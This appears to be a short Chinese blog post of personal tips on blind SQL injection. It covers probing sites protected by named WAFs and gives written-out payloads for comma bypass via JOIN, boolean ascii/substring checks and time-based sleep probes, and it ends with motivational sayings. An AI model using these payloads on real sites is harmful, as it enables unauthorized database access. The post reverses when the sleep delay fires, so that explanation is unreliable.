关于sql注入盲注,谈谈自己的心得
1.没做防御的站点,拿上sqlmap直接怼就行了。
2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等)
这些就相当麻烦了,首先要探测出过滤了什么,再去构造sql语句,在本地测试通过后,再一点点完善,最后再去测试目标
举个例子,一个站点过滤了逗号,和单引号,且数据库编码不是GB系列的,这种就不太好操作,个人手工测试,可以猜解出user(),database(),version()这些,但是完全手工也很麻烦,虽然能拿到,但是相当累。这里不用时间盲注的原因是因为,时间盲注本身,直接查询数据库是没有延迟的,但是访问某些网页根据你网络的好坏是有一定延迟的,所以这就很麻烦。
绕过逗号可以用join
语句
select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select 2 ) b;
语句
select id,username,password from users where id=1 and (ascii(substring(user() from 2))=111);
这里用户名是root@localhost1,查询切片第二个字符的ascii码111对应是o
如果排除网页响应时间的干扰,是可以用时间盲注的,写个脚本跑一下就好了
又如
select * from users where id=1 and (ascii(substring(database() from 1))=115) and (select sleep(2));
如果数据不存在则会,延迟两秒返回,存在的会秒回
这里也尝试用联合查询,但是限制有点大
这里是用联合查询爆破表名
UNION select case when ascii(substring((select group_concat(distinct(table_schema)) from information_schema.tables) from 1 for 1))=123 then sleep(3) else 0 end;
这里有一个条件语句,如果结果存在则会执行睡眠3秒的操作。但是只能用于联合语句,对于过滤了UNION的就无效了
越有故事的人越沉静简单,越肤浅单薄的人越浮躁不安,真正的强者不是没有眼泪的人,而是含着眼泪依然奔跑的人,我们要敢于背上超出自己预料的包袱。努力之后,你会发现,自己要比想象的优秀很多。
坚持梦想,负重前行。